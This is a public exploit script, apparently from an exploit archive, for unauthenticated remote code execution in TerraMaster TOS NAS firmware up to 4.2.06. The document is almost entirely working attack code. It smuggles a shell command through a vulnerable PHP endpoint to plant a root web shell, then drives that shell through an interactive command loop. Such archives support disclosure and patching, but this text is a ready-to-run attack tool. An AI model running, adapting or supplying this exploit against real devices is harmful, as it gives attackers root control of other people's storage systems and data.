TerraMaster TOS 4.2.06 Remote Code Execution

`# Exploit Title: TerraMaster TOS 4.2.06 - RCE (Unauthenticated)  
# Date: 12/12/2020  
# Exploit Author: IHTeam  
# Full Write-up: https://www.ihteam.net/advisory/terramaster-tos-multiple-vulnerabilities/  
# Vendor Homepage: https://www.terra-master.com/  
# Version: <= 4.2.06  
# Tested on: 4.1.30, 4.2.06  
  
#!/usr/bin/env python3  
import argparse  
import requests  
import time  
import sys  
import urllib.parse  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE")  
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/")  
args = parser.parse_args()  
  
url = args.url  
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}  
epoch_time = int(time.time())  
shell_filename = "debug"+str(epoch_time)+".php"  
  
def check_endpoint(url, headers):  
response = requests.get(url+'/version', headers=headers, verify=False)  
if response.status_code == 200:  
print("[+] TerraMaster TOS version: ", str(response.content))  
else:  
print("\n[-] TerraMaster TOS response code: ", response.status_code)  
sys.exit()  
  
def upload_shell(url, headers, shell_filename):  
payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/"+shell_filename+" && chmod +x /usr/www/"+shell_filename+"||"  
payload = urllib.parse.quote(payload, safe='')  
print("[/] Uploading shell...")  
response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False)  
time.sleep(1)  
response = requests.get(url+'/'+shell_filename+'?cmd=id', headers=headers, verify=False)  
if ('uid=0(root) gid=0(root)' in str(response.content, 'utf-8')):  
print("[+] Upload succeeded")  
else:  
print("\n[-] Error uploading shell: ", response.content)  
sys.exit()  
  
def interactive_shell(url, headers, shell_filename, cmd):  
response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False)  
print(str(response.text)+"\n")  
  
  
def delete_shell(url, headers, shell_filename):  
delcmd = "rm /usr/www/"+shell_filename  
response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False)  
print("\n[+] Shell deleted")  
  
check_endpoint(url, headers)  
upload_shell(url, headers, shell_filename)  
try:  
while True:  
cmd = input("# ")  
interactive_shell(url, headers, shell_filename, cmd)  
except:  
delete_shell(url, headers, shell_filename)  
  
  
  
  
`